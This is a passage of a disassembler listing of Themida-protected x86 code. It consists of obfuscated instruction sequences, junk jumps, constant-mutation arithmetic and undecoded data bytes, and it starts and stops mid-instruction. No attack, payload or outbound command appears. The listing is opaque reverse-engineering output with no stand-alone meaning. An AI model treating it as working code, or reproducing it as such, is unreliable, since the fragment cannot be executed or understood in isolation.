ebx, [esp] pop esp pop eax sub esp, 4 mov [esp], ebp sub esp, 4 jmp loc_5002BE ; --------------------------------------------------------------------------- aIsrs db '‰áRé¶ ',0 align 2 dw 0D909h dd 0FFB840E9h, 5AD389FFh, 38C5EB81h, 0C3017B92h, 38C5C381h dd 0E5E97B92h db 0ACh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FEA03: ; CODE XREF: Themida_:005018B9j sub edi, esi jmp loc_4F7186 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0B6241489h, 0F2E950ECh, 89FFFF99h, 4C781E7h, 83000000h dd 3C8704C7h, 0FF555C24h, 8B042474h, 0C483242Ch, 24048F04h dd 9FBE9h db 0 ; --------------------------------------------------------------------------- loc_4FEA3D: ; CODE XREF: Themida_:004FC588j push esi jmp loc_4FC1F1 ; --------------------------------------------------------------------------- db 5Ch dd 24048F54h, 3F9B951h, 0D1F75650h, 3FEC181h, 0DCE95650h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FEA5B: ; CODE XREF: Themida_:004F8C78j mov ebx, [esp] add esp, 4 jmp loc_4FDB18 ; --------------------------------------------------------------------------- dw 1C89h dd 0BF4FBB24h, 0DA2988A1h, 8BD3895Bh, 73E92414h db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FEA7B: ; CODE XREF: Themida_:00501B48j mov eax, ecx mov ecx, [esp] add esp, 4 inc eax inc eax jmp loc_4FE185 ; --------------------------------------------------------------------------- loc_4FEA8A: ; CODE XREF: Themida_:004FBA4Bj mov eax, 4 add edx, eax jmp loc_4FAA7B ; --------------------------------------------------------------------------- dw 0E300h dd 0FF99FAE9h, 564ABBFFh, 0D3F70814h, 636EE381h, 504B77AAh dd 233819B8h, 0F2BD5566h, 29EE7916h, 0C3315DE8h, 8124048Bh dd 4C4h, 0C4C28100h, 0E916F905h, 0FFFFA3FDh, 5153DE87h dd 0FF787FE9h, 240C89FFh, 0E957E189h, 0FFFF8066h ; --------------------------------------------------------------------------- loc_4FEAE4: ; CODE XREF: Themida_:004FA71Cj and esi, 56CC21DFh not esi jmp loc_5017C5 ; --------------------------------------------------------------------------- db 52h, 0BAh, 4 dd 1000000h, 5A042454h, 0E924048Bh, 0F01h ; --------------------------------------------------------------------------- loc_4FEB04: ; CODE XREF: Themida_:004FC225j push edx mov edx, 18DB711Ch jmp loc_4FE4B2 ; --------------------------------------------------------------------------- db 30h dd 7A0EE9CFh, 685FFFFFh, 5ABh, 0FF8CABE9h, 1FEA81FFh, 0D1127F6Ch dd 0ECEA81EAh, 89164009h, 24148BD1h, 4C481h, 5FE90000h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FEB3F: ; CODE XREF: Themida_:004FB63Bj mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp sub dword ptr [esp+4], 310680h pop eax pop dword ptr [edi+24h] loc_4FEB5A: ; CODE XREF: Themida_:004F98DCj push edx push ebx jmp loc_4FDC83 ; --------------------------------------------------------------------------- loc_4FEB61: ; CODE XREF: Themida_:004F821Dj pop esp add edx, 5F9946ECh pop eax shl edx, 2 push ecx mov ecx, 75EF001Eh jmp loc_4F8F9C ; --------------------------------------------------------------------------- db 29h dd 24148BD3h, 0FFA63BE9h, 0AEE281FFh, 0E921EE40h, 0FFFFAAC6h dd 0E95FF931h, 2D43h, 0ED4CD81h, 0F581594Fh, 5DE427DEh dd 685DEF89h, 0DF8h, 0BE243489h, 65480318h, 0FFC26FE9h dd 0B65266FFh, 0AE34E96Fh, 401FFFFh, 3A9AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FEBC6: ; CODE XREF: Themida_:004FDB25j mov esi, 214B36A3h jmp loc_50090B ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_4F6DB5 ; --------------------------------------------------------------------------- dw 34FFh dd 240C8B24h, 4C481h, 5680000h, 8900006Fh, 0E6892434h dd 8904EC83h, 4B9240Ch, 1000000h, 240C8BCEh, 4C481h, 0E9530000h dd 0FFFFC85Ah, 24048B66h, 0FF9B95E9h, 5EF701FFh, 6DE9525Eh dd 0B8FFFF83h, 50DF0427h, 218FE9h, 4EC8300h, 83242489h dd 8B042404h, 0C483243Ch, 0B8BB5304h, 0E928E96Ah, 0A43h dd 4FC38166h, 0C7686638h, 4896600h, 8B86624h, 0C329663Bh dd 1665866h, 0C38166C3h, 42E93B08h db 0D4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_4FF589 ; --------------------------------------------------------------------------- db 89h, 0D5h, 5Ah dd 4246C01h, 0FF8772E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FEC85: ; CODE XREF: Themida_:004FFA8Bj add ebp, eax pop eax push edx mov edx, 35A10495h sub edx, 0FFFFFFFFh add edx, 1 add edx, 1 sub edx, 35A10494h add ebp, edx mov edx, [esp] add esp, 4 xchg ebp, [esp] pop esp jmp loc_4FB79E ; --------------------------------------------------------------------------- dw 0F681h dd 228434BBh, 609F681h, 6BE93EC6h db 0A9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FECBF: ; CODE XREF: Themida_:004FEE35j mov ebp, edi pop edi sub ebp, 67CC0EE4h jmp loc_4F8344 ; --------------------------------------------------------------------------- db 83h, 0ECh, 2 dd 24348966h, 2474FF66h, 348B6602h, 2C48324h, 24048F66h dd 66EE8766h, 14F76655h, 665D6624h, 0C8E9EE31h, 66FFFFDBh dd 66276DBEh, 8B66F329h, 0C4812434h, 2, 66C0B70Fh, 6668AB68h dd 0E9240489h, 0FFFF6FFAh ; --------------------------------------------------------------------------- loc_4FED18: ; CODE XREF: Themida_:004FA775j pop dword ptr [esp] jmp loc_5020D4 ; --------------------------------------------------------------------------- dd 0C580DCB5h, 5E5C032h, 0DDF6C5FEh, 0FFE4A6E9h, 2414F7FFh dd 6EEC15Eh, 8CFE9h, 68525700h, 60D23274h, 8324148Bh, 0BD5504C4h dd 469E1BADh, 0FF85F2E9h, 4C483FFh, 117668h, 0CBC4E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FED62: ; CODE XREF: Themida_:004F8CBFj sub bh, ch jmp loc_4FF66F ; --------------------------------------------------------------------------- db 5Ah, 0E9h, 0A3h db 6Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FED6F: ; CODE XREF: Themida_:004FD65Cj push eax mov eax, 47146076h jmp loc_4FC581 ; --------------------------------------------------------------------------- dw 5954h dd 0FF9B43E9h, 240489FFh, 8B241CF7h, 0C4812404h, 4, 0F98FE951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FED96: ; CODE XREF: Themida_:004F8FE6j push 53Ch jmp loc_4F9B66 ; --------------------------------------------------------------------------- dd 0EF81DFF7h, 4BA6456Ah, 32CEE9h db 0 ; --------------------------------------------------------------------------- loc_4FEDAD: ; CODE XREF: Themida_:0050039Bj pop ebp jmp loc_4FBAFF ; --------------------------------------------------------------------------- db 66h dd 66241489h, 53E99C50h, 58FFFF6Fh, 0E903EFC0h, 0FFFFBCE3h ; --------------------------------------------------------------------------- loc_4FEDC8: ; CODE XREF: Themida_:00501163j push 0A54h mov [esp], ebp mov ebp, 3E981727h mov edx, ebp jmp loc_5005EB ; --------------------------------------------------------------------------- loc_4FEDDC: ; CODE XREF: Themida_:004F8D1Fj add ebx, eax add ebx, 51D979E1h pop eax and eax, ebx pop ebx jmp loc_4FA5E0 ; --------------------------------------------------------------------------- db 0BFh, 0B9h, 69h dd 0E7C14862h, 66F78108h, 15532D1h, 34FF5FF8h, 0C4815D24h dd 4, 19C4E9h db 0 ; --------------------------------------------------------------------------- loc_4FEE0D: ; CODE XREF: Themida_:004F85CAj xor ecx, 315B3758h xor ecx, 22C36D25h xor ecx, 628C29ABh push esi push ecx push ebp push edi push 6F30414Fh pop edi sub edi, 239B12AAh xor edi, 7F1C3E96h jmp loc_4FECBF ; --------------------------------------------------------------------------- dw 0E981h dd 2, 8B240C87h, 68E92424h, 59FFFFFFh, 0E904C483h, 0FFFFE2A9h dd 89E9CA31h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FEE5B: ; CODE XREF: Themida_:004FA3C3j pop esp push ebx mov ebx, esp add ebx, 4 push ecx mov ecx, 4 sub ebx, ecx mov ecx, [esp] add esp, 4 xchg ebx, [esp] jmp loc_500A6C ; --------------------------------------------------------------------------- loc_4FEE7E: ; CODE XREF: Themida_:004F9433j add esi, edi mov edi, [esp] add esp, 4 mov ecx, esi pop esi and eax, ecx mov ecx, [esp] add esp, 4 or edx, eax shl edx, 1 jmp loc_4F7F5C ; --------------------------------------------------------------------------- dd 0E9240489h, 2DB1h, 1EB68h, 241C8900h, 0FF8C41E9h, 2434FFFFh dd 0E924348Bh, 15EAh, 48B665Ch, 8B545724h, 4DE9243Ch db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FEECF: ; CODE XREF: Themida_:00500D61j sub ebx, 3D31D669h add ecx, ebx pop ebx add edi, ecx jmp loc_501B4D ; --------------------------------------------------------------------------- db 50h dd 4B8h, 24440100h, 0E9585804h, 0FFFFB077h, 0C681E689h dd 4, 4EE81h, 34870000h, 0C6AAE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FEF06: ; CODE XREF: Themida_:004FF95Cj push 2B3Ch mov [esp], esi push esp pop esi add esi, 4 add esi, 4 jmp loc_4F6434 ; --------------------------------------------------------------------------- loc_4FEF21: ; CODE XREF: Themida_:004F949Cj pop ecx push 33F5h mov [esp], edx push dword ptr [esp] jmp loc_4FAFB2 ; --------------------------------------------------------------------------- aPuxExhbu db 'PUX]E•hu',0 dd 0FE3FE900h, 77FFFFFFh, 19589D1Ch, 0E99C2404h, 0FFFF6DC2h dd 815E5456h, 4C6h, 4C68100h, 0E9000000h, 0FFFFC842h, 0D0468B35h dd 94D7E901h, 0E952FFFFh, 0FFFFA4ACh, 33240431h, 665C2404h dd 2404BB0Fh, 6D8CE99Ch, 0F75AFFFFh, 2E5C1DDh, 0E7E9D5F7h dd 59FFFFACh, 31241C33h, 1C33241Ch, 24248B24h, 9C2424D3h dd 0FF6D69E9h, 32FF64FFh, 0FFCFA1E9h, 53CA81FFh, 0E912EA57h dd 0FFFFFB65h, 0F04991BAh, 81D2F74Dh, 71355FCAh, 5BCA8148h dd 812DD20Eh, 996EA0F2h, 0EA81426Ch, 1A0F90EFh, 5DE9D029h db 95h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FEFE3: ; CODE XREF: Themida_:00502706j push esi push dword ptr [esp+4] jmp loc_4FDB2A ; --------------------------------------------------------------------------- loc_4FEFED: ; CODE XREF: Themida_:004F6DB0j push ebp mov ebp, 4 mov ecx, ebp pop ebp push edi jmp loc_4FAED1 ; --------------------------------------------------------------------------- dd 8107E1C1h, 593966C1h, 0B471E940h, 34FFFFFFh, 0C4835824h dd 24048F04h, 0F324248Bh, 386203A5h, 3029E9h, 0C3E9AD00h dd 5AFFFF81h, 5705E6C1h, 0DC9B14BFh, 5FFE29A2h, 315EF029h dd 7FFA68C3h, 1C890000h, 2C685224h, 5A000000h, 215DE9h dd 4EC8100h, 89000000h, 4832424h, 34FF0424h, 2434FF24h dd 4C48159h, 0E9000000h, 0FFFF92ABh, 81242489h, 42404h dd 55590000h, 0FF6BAEBDh, 324FE960h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FF082: ; CODE XREF: Themida_:004F959Dj and ebp, 14BC40B4h sub ebp, 79F24D34h add ebp, 69464D18h sub eax, ebp pop ebp xchg eax, [esp] pop esp jmp loc_501F28 ; --------------------------------------------------------------------------- dd 50240C8Bh, 2392E954h, 63E90000h, 5DFFFF6Ch, 0E9D18951h dd 0FFFF8FA6h, 2474FF57h, 48F5F04h, 24248B24h, 0FF8A66E9h dd 55E089FFh, 0FFEEB5E9h, 34D0F6FFh, 0C0D8F6B8h, 0B32C05E0h dd 8058C588h, 0C5FE03CDh, 0D5F6C5FEh, 8090F580h, 0EC000EEDh dd 4CEB8059h, 0C380E328h, 12E5E94Ch, 0E6C10000h, 8CEE8104h dd 530AFF68h, 6081B850h, 98E97D8Ch, 81FFFFA3h, 4C4h, 7F78E900h dd 8158FFFFh, 0F915F3E9h, 0A9E5E98Bh, 5866FFFFh, 6608E9C0h dd 307BB753h, 0E95B66F9h, 0FFFF7FECh ; --------------------------------------------------------------------------- loc_4FF13C: ; CODE XREF: Themida_:004F7F73j mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 push 33CBh mov [esp], ecx push dword ptr [esp+4] mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 push eax push 4 pop eax add ecx, eax jmp loc_4FAF08 ; --------------------------------------------------------------------------- db 57h dd 0C781E789h, 4, 2108E9h, 7FF1B900h, 0E181401Ch, 7C3F4F8Ah dd 4DF2C181h, 0BA5234BFh, 1199133Ah, 0E908EAC1h, 0BFEh dd 4C381h, 0EB810000h, 4, 0FFC550E9h, 241489FFh, 0C281E289h dd 4, 0EFBE9h db 0 ; --------------------------------------------------------------------------- loc_4FF1C1: ; CODE XREF: Themida_:004FF782j sub edi, 4 xchg edi, [esp] pop esp mov [esp], edi push esi sub esp, 4 mov [esp], edi push ebx push ecx mov ecx, 1C0E57A5h mov ebx, 2A0870FBh xor ebx, ecx pop ecx jmp loc_4FCE73 ; --------------------------------------------------------------------------- dw 8359h dd 0BA5204C4h, 2B5F35D9h, 875AD309h, 87D1F7CBh, 8E3C1CBh dd 0E000C381h, 0BE97F35h, 0E9FFFF6Bh, 0FFFF6B06h, 6E9C159h dd 4483E981h, 50E9EE86h, 5D00002Dh, 535BDA01h, 0FFC033E9h dd 2BA52FFh, 29000000h, 0FBE95AD1h db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FF233: ; CODE XREF: Themida_:004F91EDj add dword ptr [esp+4], 449A7DA3h jmp loc_4FE1F3 ; --------------------------------------------------------------------------- dd 74B1A4B3h, 0FFAEBAE9h, 6EEC1FFh, 32EE81h, 0F2290100h dd 0FF9C51E9h, 80C5FEFFh, 3AE965F5h db 87h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FF263: ; CODE XREF: Themida_:004FBF73j mov ebp, 510205DCh mov ebx, 0BE077267h add ebx, ebp pop ebp jmp loc_4F91E1 ; --------------------------------------------------------------------------- db 0BEh, 0B1h, 58h dd 0B8BB28EDh, 1E99A17h, 814B5EF3h, 4ECh, 0E196E900h, 0D8F7FFFFh dd 0F87B182Dh, 58C70100h, 4C781h, 0E9570000h, 0FFFFD3B6h dd 0BE454805h, 2DE80150h, 50BE4548h, 81242C8Bh, 4C4h, 52950500h dd 0D801034Dh, 0FFD591E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FF2C5: ; CODE XREF: Themida_:004F6F64j add edi, 23981C28h jmp loc_4FAA33 ; --------------------------------------------------------------------------- dd 98234368h, 3BE95A20h db 1Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FF2DB: ; CODE XREF: Themida_:004FB7ECj and eax, 19F02638h or eax, 1C320F0Eh xor eax, 631239C3h add eax, 8C321C1Ah add ecx, eax pop eax and edx, ecx jmp loc_4F8796 ; --------------------------------------------------------------------------- db 81h, 0C1h, 4 dd 53000000h, 2565E9h db 0 ; --------------------------------------------------------------------------- loc_4FF305: ; CODE XREF: Themida_:004F8798j mov ebx, 52104881h add edx, 522C3B1Ch sub esp, 4 jmp loc_4FFEF1 ; --------------------------------------------------------------------------- db 1 dd 0F396E9E8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FF322: ; CODE XREF: Themida_:004F90A9j push ecx mov ecx, 7DBF25D0h inc ecx xor ecx, 41844A2Fh push edx mov edx, 0 sub edx, ecx jmp loc_501888 ; --------------------------------------------------------------------------- dd 4BD5556h, 0E90CBB37h, 27Bh, 24048B66h, 419868h, 240C8900h dd 240C8B54h, 25A8E9h, 9CE9AC00h db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FF363: ; CODE XREF: Themida_:004F7A96j pop ebp shl ebp, 8 jmp loc_4FABE4 ; --------------------------------------------------------------------------- dd 0E924148Bh, 0FFFFD078h ; --------------------------------------------------------------------------- loc_4FF374: ; CODE XREF: Themida_:004FCE84j sub edi, 0CA9FBE33h jmp loc_4F6133 ; --------------------------------------------------------------------------- db 5Ah dd 0B486E95Fh, 77FFFFFFh, 81BDE938h, 0C601FFFFh, 0E924048Bh dd 0FFFFF838h, 280F2CACh, 4EC83D8h, 68241489h, 4FAFh, 0B3241C89h dd 0FBBCE9D8h, 25BDFFFFh, 3155C857h, 19E95DE8h, 28FFFFACh dd 33B050F3h, 14F65066h, 0C0586624h, 0E8C007E8h, 280D0404h dd 24048BC3h, 4C481h, 665A0000h, 64B65251h, 0EDE9F588h dd 0C1FFFF98h, 0BF0508E0h, 81687562h, 0EB5C68EAh, 57C20115h dd 5C68BB53h, 0DF8915EBh, 83241C8Bh, 2EE904C4h, 0E9FFFF8Ah dd 0FFFF68FEh ; --------------------------------------------------------------------------- loc_4FF414: ; CODE XREF: Themida_:004FE2A5j push esi mov esi, 9AE3B94h jmp loc_500DE4 ; --------------------------------------------------------------------------- db 81h dd 2E1A42EDh, 4EDC139h, 2508C581h, 0EDC168CAh, 0E9DDF703h dd 0FFFFF297h, 0E924248Bh, 0FFFF7805h, 5051F000h, 0FF6A51E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FF449: ; CODE XREF: Themida_:004FAD31j pop ebx add ebx, 4 jmp loc_4F8DCF ; --------------------------------------------------------------------------- aBskd db 'ékD',0 dw 0E910h dd 0FFFF7360h, 4C6815Eh, 0E9000000h, 3DEh ; --------------------------------------------------------------------------- loc_4FF46C: ; CODE XREF: Themida_:004FA914j add esp, 4 add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_4FDE30 ; --------------------------------------------------------------------------- db 5Ch dd 81242489h, 42404h, 34FF0000h, 0C4835F24h, 4C78104h dd 52000000h, 2BAh, 55EF8100h, 812E9342h, 2A096CC7h, 81D70173h dd 2A096CEFh, 55C78173h, 5A2E9342h, 31243C33h, 3C33243Ch dd 4D25C24h, 43E99C24h, 81FFFF68h, 6B4BAFC3h, 81EB0134h dd 6B4BAFEBh, 60C38134h, 0E92A0145h, 0FFFFBC61h, 405E089h dd 5000000h, 4, 1559E9h, 0F7F28100h, 8127D476h, 24F6EE2h dd 7E2C179h, 8B96EA81h, 0D7294553h, 0FFA0E4E9h, 814659FFh dd 1E47FEEEh, 8BF0011Eh, 0C4832434h, 68565504h, 4E794B06h dd 0EE814E5Eh, 4E794B01h, 15EF589h, 4875DE8h, 24248B24h dd 0E9C8AF0Fh, 1BF9h ; --------------------------------------------------------------------------- loc_4FF548: ; CODE XREF: Themida_:00500D98j add ebp, 4 xchg ebp, [esp] pop esp neg eax add eax, 2D72EDAh mov esi, eax pop eax add ebp, esi mov esi, [esp] add esp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_4FB9A7 ; --------------------------------------------------------------------------- loc_4FF56F: ; CODE XREF: Themida_:005025F7j mov eax, ebp jmp loc_4FA278 ; --------------------------------------------------------------------------- dw 148Bh dd 0D0E5E924h, 665CFFFFh, 9C2424D3h, 0FF9220E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FF589: ; CODE XREF: Themida_:004FEC74j push ebx jmp loc_4F71A2 ; --------------------------------------------------------------------------- db 53h dd 0FF9A63E9h, 91BB53FFh, 0C1316D63h, 0BA5204E3h, 61F432E9h dd 1F36C281h, 79E957EFh db 0A2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FF5AF: ; CODE XREF: Themida_:004F8351j inc ebx sub ebx, 0DAC0D87h jmp loc_4F719B ; --------------------------------------------------------------------------- db 31h dd 3CE95AD1h, 31FFFFD0h, 5D04246Ch, 4F2815Ah, 5E0CBB37h dd 6EB85052h, 0BA506224h, 736F80B9h, 4258C229h, 0FFFFC281h dd 0D2F7FFFFh, 0B09EF281h, 48E9C0E8h, 8B000011h, 0A1E92404h dd 0C1FFFF97h, 0EA8105E2h, 63EEC61Bh, 0E95AD709h, 0FFFFEB17h dd 0D3F1EE81h, 0F501707Eh, 2555E95Eh, 3DB00000h, 52E9C120h dd 87FFFFE1h, 248B242Ch, 242C8924h, 0BF575D54h, 4, 525FFD01h dd 0FFAFD9E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FF63D: ; CODE XREF: Themida_:004FCBAEj push ecx mov ecx, 4 add eax, ecx mov ecx, [esp] add esp, 4 jmp loc_4F6FA9 ; --------------------------------------------------------------------------- dd 592434FFh, 48B5450h, 0F6F7E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FF65E: ; CODE XREF: Themida_:004FB326j add esi, 4 add esi, 4 jmp loc_4FB6D8 ; --------------------------------------------------------------------------- loc_4FF66F: ; CODE XREF: Themida_:004FED64j pop cx xor dl, bh pop ebx xor al, dl mov edx, [esp] push 5FF2h jmp loc_4FC733 ; --------------------------------------------------------------------------- db 87h dd 0F0E92434h, 81FFFF76h, 670192CBh, 89EB8126h, 0C1213F27h dd 0C38103EBh, 0FE49F77Eh, 0E95BDF01h, 0FFFF6D01h ; --------------------------------------------------------------------------- loc_4FF6A8: ; CODE XREF: Themida_:00500F82j mov eax, [esp] add esp, 4 add esp, 4 xor eax, 1FF12867h push 712Bh mov [esp], edx push edi jmp loc_4F8EE5 ; --------------------------------------------------------------------------- loc_4FF6C7: ; CODE XREF: Themida_:004FCB9Cj mov ecx, esi pop esi sub esp, 4 mov [esp], ecx push dword ptr [esp] jmp loc_4F879D ; --------------------------------------------------------------------------- loc_4FF6DB: ; CODE XREF: Themida_:004FBF2Bj pop edx add ah, 60h not ah xor ah, 0C7h sub bl, ah jmp loc_4FE0D3 ; --------------------------------------------------------------------------- loc_4FF6EB: ; CODE XREF: Themida_:00501E62j not edx xchg edx, [esp] mov eax, [esp] push ecx jmp loc_4FB939 ; --------------------------------------------------------------------------- loc_4FF6F9: ; CODE XREF: Themida_:004FD7A8j shr eax, 7 inc eax push ebx mov ebx, 0CB7866E6h jmp loc_4F75CD ; --------------------------------------------------------------------------- dd 4A6EB951h, 4149595Ah, 7CD9E181h, 0E9C1561Fh, 0A7D7E908h dd 489FFFFh, 4B824h, 53520000h, 0B574C3BBh, 81DBF723h dd 909BB0F3h, 5BDA89A1h, 0FF893DE9h, 2EB81FFh, 87000000h dd 665C241Ch, 66240C89h, 66C8B60Fh, 0BBE99C51h, 81FFFF65h dd 4B1E9EEBh, 9CB85019h, 401DA66Dh, 0FFE3D2E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FF769: ; CODE XREF: Themida_:004FB2CEj push edx jmp loc_4FE3BF ; --------------------------------------------------------------------------- loc_4FF76F: ; CODE XREF: Themida_:004FDD2Cj push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp push edi mov edi, esp add edi, 4 jmp loc_4FF1C1 ; --------------------------------------------------------------------------- db 50h dd 7BE9D888h, 1FFFFCCh, 0BD5559C8h, 1F1835E1h, 0B1E6E952h dd 0F741FFFFh, 59E957D9h, 21FFFF75h, 0EA8159CAh, 5D242BF4h dd 0FF8B70E9h, 4EC83FFh, 0E9241C89h, 0FFFF9F59h ; --------------------------------------------------------------------------- loc_4FF7C0: ; CODE XREF: Themida_:004FBE32j pop esi push 7391h mov [esp], ebx mov ebx, 4 add eax, ebx jmp loc_4FE626 ; --------------------------------------------------------------------------- loc_4FF7D5: ; CODE XREF: Themida_:004F7505j xor [esp], ebp jmp loc_4F7388 ; --------------------------------------------------------------------------- loc_4FF7DD: ; CODE XREF: Themida_:004F88FBj push esi push ecx pop esi pop ecx or esi, 242B7Eh xor esi, 0AC75F9FEh mov edx, esi mov esi, [esp] add esp, 4 and eax, edx mov edx, [esp] sub esp, 4 jmp loc_4FF9D1 ; --------------------------------------------------------------------------- db 81h, 0E7h, 5Bh dd 0E96BD404h, 0FFFF9081h, 8104C483h, 4ECh, 241C8900h dd 2E87E9h, 9A685600h, 5E09AF61h, 0FF735EE9h, 0C8B66FFh dd 0EBC7E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FF836: ; CODE XREF: Themida_:00500DF5j push ecx mov ecx, 31BA70E1h jmp loc_5014AE ; --------------------------------------------------------------------------- db 66h, 89h, 4 dd 64C8E924h, 0EE83FFFFh, 95BAE904h, 8B66FFFFh, 0E9532404h dd 0FFFFE32Dh, 81E38953h, 4C3h, 2BE5600h, 1000000h, 1C875EF3h dd 0D0005C24h, 0FFE10CE9h, 0F8E958FFh db 0D2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FF87F: ; CODE XREF: Themida_:004FCBCAj mov [esp], ebx push esi push 193E3881h pop esi not esi neg esi and esi, 806072Bh sub esi, 805FFFEh mov ebx, esi pop esi sub eax, ebx pop ebx jmp loc_500745 ; --------------------------------------------------------------------------- aXs db 'XéÓ"',0 align 2 dw 585Fh dd 0D7F7E7D1h, 9610EF81h, 0FE0194B9h, 0FFBD555Fh, 0E9FFFFFFh dd 0FFFFD41Ch, 5866C300h, 0FFDCC3E9h, 242C8BFFh, 0E904C483h dd 2709h, 58241C31h, 2474FF50h, 7C41E904h, 0CFBBFFFFh dd 8106CB69h, 0D62E12EBh, 5BD989ABh, 695DEE81h, 0CDE9043Eh dd 81FFFF68h, 0D59D6AEFh, 0ABF5E96Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FF90A: ; CODE XREF: Themida_:004FAD2Bj sub esi, ebx pop ebx mov edx, esi jmp loc_500C9D ; --------------------------------------------------------------------------- aPhP db 'PhêpÇ',0 dw 5658h dd 545648BEh, 0CEC4E934h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FF926: ; CODE XREF: Themida_:004F7CE7j and ecx, esi push dword ptr [esp] pop esi add esp, 4 shr ecx, 7 push dword ptr [edi+1Ch] jmp loc_50069C ; --------------------------------------------------------------------------- loc_4FF93A: ; CODE XREF: Themida_:004F73BBj sub esp, 4 mov [esp], ecx mov ecx, 0ABB2664h xor ecx, 4BDB2AA2h shr ecx, 4 shl ecx, 4 sub ecx, 3256947Dh sub eax, ecx mov ecx, [esp] jmp loc_4FEF06 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0E9000000h, 0FFFFC6B3h, 8B1C77FFh, 89502404h, 405E0h dd 0B1E90000h, 0C0FFFFC5h, 0C1FE02E1h, 2414F651h, 0F8C98059h dd 0FFC3C8E9h, 0F2F781FFh, 554CB30Ch, 6544BCBDh, 172AE932h dd 88590000h, 8B01877Ch, 52E9241Ch, 66FFFF82h, 9C240401h dd 0FF6359E9h, 0B4B951FFh, 0E9040956h, 0FFFF77AEh, 6647742Dh dd 58C229F0h, 19DBE9h db 0 ; --------------------------------------------------------------------------- loc_4FF9D1: ; CODE XREF: Themida_:004FF800j mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_4F9061 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF6326h, 945CBF57h, 0C2819D21h, 1C1C83h, 0EA81FA29h dd 1C1C83h, 0FFA5CBE9h, 3BCF68FFh, 34890000h, 53E68924h dd 4BBh, 0A387E900h, 0CC80FFFFh, 0BE33E95Fh, 48FFFFFh dd 0F665C24h, 9C2404ABh, 1066E9h db 0 ; --------------------------------------------------------------------------- loc_4FFA31: ; CODE XREF: Themida_:004F9870j pop ecx jmp loc_4FBB07 ; --------------------------------------------------------------------------- db 0FFh dd 815A2434h, 4C4h, 8CF6E900h, 8B66FFFFh, 5452240Ch, 6D6E9h dd 20432C00h, 0B75358C6h, 0FEC7FE8Ch, 0C0CFFECFh, 0CF8003EFh dd 0B1516662h, 85E9E904h, 0C33FFFFh, 24248B24h, 0B60F66h dd 1B4F6866h, 24048966h, 0FF628DE9h db 0FFh ; --------------------------------------------------------------------------- loc_4FFA85: ; CODE XREF: Themida_:004FDBE2j inc eax sub eax, 74C561F3h jmp loc_4FEC85 ; --------------------------------------------------------------------------- dd 0B316E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FFA96: ; CODE XREF: Themida_:004F79EEj sub edi, 0F72B9F7Bh add ecx, edi pop edi add ecx, 4 xchg ecx, [esp] pop esp and ebp, 2BAB4348h jmp loc_4F6215 ; --------------------------------------------------------------------------- db 5Bh, 81h, 0C4h dd 4, 0FF673FE9h, 5157BDFFh, 0E9560415h, 0FFFF994Bh, 8124148Bh dd 4C4h, 0D2B85000h, 314FC102h, 17EEE9C2h, 0BE560000h dd 0CD238FFh, 0E92C681h, 0EEC13EDCh, 50F68103h, 15BE0FCh dd 0D0FE9F2h, 248B0000h, 43C58124h, 891B388Eh, 0F0315DEEh dd 5024348Bh, 4055854h, 5000000h, 4, 0E9240487h, 0FFFFA279h dd 24048B66h, 0C8B5451h, 7BD1E924h, 148BFFFFh, 160E924h dd 0C4810000h, 4, 0FFA650E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FFB41: ; CODE XREF: Themida_:004FD62Ej xchg ebp, [esp] pop esp jmp loc_501CAA ; --------------------------------------------------------------------------- dw 0D668h dd 89000022h, 0ADE9240Ch, 0C000000Fh, 0C38006EBh, 0A74E9C9h dd 0D6BD0000h, 81377332h, 0D866B7CDh, 0C02FE962h, 575CFFFFh dd 2BFh, 0E9F90100h, 1472h, 33243431h, 535C2434h, 0E9D18851h dd 0FFFF6CB8h ; --------------------------------------------------------------------------- loc_4FFB90: ; CODE XREF: Themida_:004F93F4j mov ebx, 0 sub ebx, 4B0D3BCAh add ebx, eax push edi mov edi, 4B0D3BCAh add ebx, 19594078h add ebx, edi push ebp mov ebp, 